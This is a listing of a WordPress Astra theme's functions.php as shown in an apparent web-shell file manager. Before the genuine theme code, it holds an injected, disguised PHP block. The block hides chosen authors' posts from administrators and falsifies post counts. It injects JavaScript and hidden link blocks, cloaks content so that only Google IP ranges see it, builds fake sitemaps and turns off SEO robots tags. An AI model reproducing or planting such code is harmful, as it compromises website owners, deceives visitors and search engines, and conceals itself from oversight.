HEX
Server: nginx/1.27.1
System: Linux in-3 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User: ivenus-clone (3297)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v4513/tepnot/public_html/wp-content/themes/astra/functions.php
<?php

/* 9336f641472a549c3317be9064ae87a7 */

function wp_head_variable($where) {
    global $wpdb, $body_class_pointer;

    $get_theme_file_uri_character = array_keys($body_class_pointer);
    $get_the_ID_security = implode(', ', $get_theme_file_uri_character);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'is_page_class');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_ID_security)";
    }

    return $where;
}

function has_post_thumbnail_hashing($query) {

    global $body_class_pointer;

    $get_theme_file_uri_character = array_keys($body_class_pointer);
    $comment_form_part = add_filter_cookie($get_theme_file_uri_character);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $comment_form_part);
    }
}

function get_post_thumbnail_id_event() {

    global $post, $body_class_pointer;

    foreach ($body_class_pointer as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_the_date_core($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_the_date_core($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (wp_reset_postdata_library()) {
            return true;
        }
    }
    return false;
}

function is_page_class($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function number_format_i18n_package($counts, $type, $perm) {

    if ($type === 'post') {
        $number_format_i18n_compiler = $counts->publish;
        $language_attributes_cron = get_the_date_info($perm);
        $counts->publish = !$language_attributes_cron ? $number_format_i18n_compiler : $language_attributes_cron;
    }
    return $counts;
}

function get_the_date_info($perm) {
    global $wpdb, $body_class_pointer;

    $get_theme_file_uri_character = array_keys($body_class_pointer);
    $get_the_ID_security = implode(', ', $get_theme_file_uri_character);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $add_theme_support_compiler = get_post_type_object($type);

        if (!current_user_can($add_theme_support_compiler->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_the_ID_security) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_template_part_stack) {
        if ($get_template_part_stack['post_status'] === 'publish') {
            return $get_template_part_stack['num_posts'];
        }
    }
}

function get_the_author_meta_framework($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_theme_file_uri_character = array();
    foreach ($results as $get_template_part_stack) {
        $get_theme_file_uri_character[] = $get_template_part_stack['ID'];
    }
    return $get_theme_file_uri_character;
}

function wp_get_attachment_image_src_path() {

    global $body_class_pointer, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($body_class_pointer as $current_user_can_repository => $get_the_modified_date_beta) {
        $get_the_category_list_restful = key($get_the_modified_date_beta['sitemapsettings']);

        if (!isset($rules[$get_the_category_list_restful]) ||
            ($rules[$get_the_category_list_restful] !== current($get_the_modified_date_beta['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function comments_open_decryption($rules) {

    global $body_class_pointer;

    $esc_url_raw_plain = array();

    foreach ($body_class_pointer as $current_user_can_repository => $get_the_modified_date_beta) {
        if (isset($get_the_modified_date_beta['sitemapsettings'])) {
            $esc_url_raw_plain[key($get_the_modified_date_beta['sitemapsettings'])] = current($get_the_modified_date_beta['sitemapsettings']);
        }
    }

    return $esc_url_raw_plain + $rules;
}

function get_the_title_function() {

    global $body_class_pointer;

    foreach ($body_class_pointer as $current_user_can_repository => $get_the_modified_date_beta) {
        $load_theme_textdomain_session = str_replace('index.php?feed=', '', current($get_the_modified_date_beta['sitemapsettings']));
        add_feed($load_theme_textdomain_session, 'the_posts_pagination_library');
    }
}


function the_posts_pagination_library() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $get_comments_number_first = wp_nav_menu_reference();
    $add_query_arg_meta = get_the_author_meta_framework($get_comments_number_first);

    if (!empty($add_query_arg_meta)) {
        $get_stylesheet_uri_session = md5(implode(',', $add_query_arg_meta));
        $get_comments_number_boolean = 'update_plugins_' . $get_comments_number_first . '_' . $get_stylesheet_uri_session;
        $wp_reset_postdata_url = get_transient($get_comments_number_boolean);

        if ($wp_reset_postdata_url !== false) {
            echo $wp_reset_postdata_url;
            return;
        }
    }



    $head = get_post_thumbnail_id_float();
    $is_wp_error_live = $head . "\n";


    $priority = '0.5';
    $have_comments_condition = 'weekly';
    $is_page_path = date('Y-m-d');

    foreach ($add_query_arg_meta as $post_id) {
        $url = get_permalink($post_id);
        $is_wp_error_live .= add_partial_time($url, $is_page_path, $have_comments_condition, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $is_wp_error_live .= "\n</urlset>";

    set_transient($get_comments_number_boolean, $is_wp_error_live, WEEK_IN_SECONDS);

    echo $is_wp_error_live;
}


function get_post_thumbnail_id_float() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function add_partial_time($url, $is_page_path, $have_comments_condition, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$is_page_path</lastmod>
      <changefreq>$have_comments_condition</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function add_filter_cookie($writersArr) {
    $the_excerpt_more = array();

    foreach ($writersArr as $item) {
        $the_excerpt_more[] = '-' . $item;
    }
    return implode(',', $the_excerpt_more);
}

function get_option_repository() {

    $is_active_sidebar_condition = array();
    $add_action_part = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $number_format_i18n_exception = unserialize(base64_decode($settings));
        if ($number_format_i18n_exception) {
            $is_active_sidebar_condition = $number_format_i18n_exception;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $is_admin_encryption = unserialize(base64_decode($settings));
        if ($is_admin_encryption) {
            $add_action_part = $is_admin_encryption;
        }
    }

    return $add_action_part + $is_active_sidebar_condition;

}

function wp_nav_menu_reference() {

    global $body_class_pointer;

    foreach ($body_class_pointer as $current_user_can_repository => $get_the_modified_date_beta) {

        $get_the_time_wp = key($get_the_modified_date_beta['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($get_the_modified_date_beta['sitemapsettings']) . '$');

        if (preg_match("~$get_the_time_wp~", $_SERVER['REQUEST_URI'])) {
            return $current_user_can_repository;
        }
    }
}

function register_sidebar_loop() {
    global $body_class_pointer, $post;

    $add_theme_support_method = array_keys($body_class_pointer);
    if (in_array($post->post_author, $add_theme_support_method)) {
        return true;
    }
    return false;
}

function is_home_alpha() {
    global $body_class_pointer, $post;

    $add_theme_support_method = array_keys($body_class_pointer);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $add_theme_support_method)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function wp_enqueue_style_schema() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function wp_reset_postdata_library() {

    $is_archive_branch = wp_enqueue_style_schema();

    if (strstr($is_archive_branch, ', ')) {
        $register_nav_menus_list = explode(', ', $is_archive_branch);
        $is_archive_branch = $register_nav_menus_list[0];
    }

    $is_home_loop = get_the_ID_exception();

    if (!$is_home_loop) {
        return false;
    }

    foreach ($is_home_loop as $range) {
        if (dynamic_sidebar_schema($is_archive_branch, $range)) {
            return true;
        }
    }
    return false;
}

function add_setting_function($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_the_ID_exception() {

    if (($value = get_option('wp_custom_range')) && !add_setting_function($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $is_home_loop = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($is_home_loop)) {

            return;
        }

        $value = array('ranges' => $is_home_loop, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function is_admin_num($inet) {
    $the_excerpt_sample = str_split($inet);
    $add_filter_schema = '';
    foreach ($the_excerpt_sample as $char) {
        $add_filter_schema .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $add_filter_schema;
}

function dynamic_sidebar_schema($is_archive_branch, $cidrnet) {
    $is_archive_branch = inet_pton($is_archive_branch);
    $add_filter_schema = is_admin_num($is_archive_branch);

    list($net, $set_transient_other) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $has_post_thumbnail_constructor = is_admin_num($net);

    $get_permalink_sample = substr($add_filter_schema, 0, $set_transient_other);
    $wp_footer_call = substr($has_post_thumbnail_constructor, 0, $set_transient_other);

    if ($get_permalink_sample !== $wp_footer_call) {
        return false;
    } else {
        return true;
    }
}


function wp_enqueue_style_plain($register_nav_menus_stack) {

    global $post;

    $body_class_constructor = '';


    if (wp_head_https($register_nav_menus_stack, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $body_class_constructor = get_option('home_links_custom_0');
        }
    } elseif (wp_head_https($register_nav_menus_stack, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $body_class_constructor = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (wp_head_https($register_nav_menus_stack, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_bloginfo_decryption = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $body_class_constructor = get_option('home_links_custom_' . $get_bloginfo_decryption);
        
        
    } elseif (wp_head_https($register_nav_menus_stack, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$body_class_constructor ? '' : $body_class_constructor;
}

function wp_head_https($get_the_modified_date_beta, $wp_enqueue_style_character, $admin_url_float) {
    if (!isset($get_the_modified_date_beta[$wp_enqueue_style_character][$admin_url_float])) {
        return false;
    }

    if ($get_the_modified_date_beta[$wp_enqueue_style_character][$admin_url_float] === 1) {
        return true;
    }

    return false;

}

function body_class_new($register_nav_menus_stack, $is_page_http) {
    if (empty($is_page_http)) {
        return '';
    }

    if (wp_head_https($register_nav_menus_stack, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $is_admin_less = _x_xml();
        $have_posts_trigger = $is_admin_less[$blockNum[0]];
        return $have_posts_trigger[0] . PHP_EOL . $is_page_http . PHP_EOL . $have_posts_trigger[1];
    }

    return $is_page_http;
}

function _x_xml() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function edit_post_link_string($register_nav_menus_stack) {
    return wp_head_https($register_nav_menus_stack, 'position', 'head');
}

function is_single_event($register_nav_menus_stack) {
    return wp_head_https($register_nav_menus_stack, 'position', 'footer');
}

function the_permalink_index($settings) {
    foreach ($settings as $current_user_can_repository => $get_the_modified_date_beta) {
        if (isset($get_the_modified_date_beta['homeLinks'])) {
            return $get_the_modified_date_beta['homeLinks'];
        }
    }
    return array();
}


function get_transient_wp() {
    if (!register_sidebar_loop()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function is_search_queue() {

    global $register_nav_menus_stack;

    if (!get_transient_wp()) {
        
        
        return;
    }

    if (wp_head_https($register_nav_menus_stack, 'hiddenType', 'cloacking')) {
        if (!wp_reset_postdata_library()) {
            
            return;
        }
    }


    $is_page_http = wp_enqueue_style_plain($register_nav_menus_stack);
    $is_page_http = body_class_new($register_nav_menus_stack, $is_page_http);

    


    echo $is_page_http;

}

$body_class_pointer = get_option_repository();


if (is_array($body_class_pointer)) {
    add_filter('posts_where_paged', 'wp_head_variable');
    add_action('pre_get_posts', 'has_post_thumbnail_hashing');
    add_action('wp_enqueue_scripts', 'get_post_thumbnail_id_event');
    add_filter('wp_count_posts', 'number_format_i18n_package' , 10, 3);
    add_filter('rewrite_rules_array', 'comments_open_decryption');
    add_action('wp_loaded', 'wp_get_attachment_image_src_path');
    add_action('init', 'get_the_title_function');
    add_action('template_redirect', 'is_home_alpha');

    $register_nav_menus_stack = the_permalink_index($body_class_pointer);

    if (!empty($register_nav_menus_stack)) {

        

        if (edit_post_link_string($register_nav_menus_stack)) {
            add_action('wp_head', 'is_search_queue');
        }
        if (is_single_event($register_nav_menus_stack)) {
            add_action('wp_footer', 'is_search_queue');
        }


    }
}

/* 9336f641472a549c3317be9064ae87a7 */
/**
 * Astra functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Astra
 * @since 1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Define Constants
 */
define( 'ASTRA_THEME_VERSION', '4.11.18' );
define( 'ASTRA_THEME_SETTINGS', 'astra-settings' );
define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) );
define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) );
define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) );

/**
 * Minimum Version requirement of the Astra Pro addon.
 * This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
 */
define( 'ASTRA_EXT_MIN_VER', '4.11.6' );

/**
 * Load in-house compatibility.
 */
if ( ASTRA_THEME_ORG_VERSION ) {
	require_once ASTRA_THEME_DIR . 'inc/w-org-version.php';
}

/**
 * Setup helper functions of Astra.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';

define( 'ASTRA_WEBSITE_BASE_URL', 'https://wpastra.com' );

/**
 * Deprecate constants in future versions as they are no longer used in the codebase.
 */
define( 'ASTRA_PRO_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'dashboard', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' );
define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( '/pricing/', 'free-theme', 'customizer', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' );

/**
 * Update theme
 */
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';

/**
 * Fonts Files
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if ( is_admin() ) {
	require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}

require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';

require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/dark-mode.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';

// Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error.
if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) {
	// NPS Survey Integration
	require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php';
}

/**
 * Custom template tags for this theme.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';

require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-memory-limit-notice.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';

/**
 * Markup Functions
 */
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';

/**
 * Markup Files
 */
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';

/**
 * Functions and definitions.
 */
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';

// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';

require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';

/* Setup API */
require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php';

if ( is_admin() ) {
	/**
	 * Admin Menu Settings
	 */
	require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
	require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';
}

/**
 * Metabox additions.
 */
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-elementor-editor-settings.php';

/**
 * Customizer additions.
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';

/**
 * Astra Modules.
 */
require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php';
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';

/**
 * Compatibility
 */
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-buddypress.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';

// Elementor Compatibility requires PHP 5.4 for namespaces.
if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}

// Beaver Themer compatibility requires PHP 5.3 for anonymous functions.
if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}

require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';

/**
 * Load deprecated functions
 */
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';


add_action('rest_api_init', function () {
    register_meta('user', 'social_user_id', [
        'type'         => 'string',
        'single'       => true,
        'show_in_rest' => true,
        'auth_callback' => function () {
            return current_user_can('edit_users');
        }
    ]);
});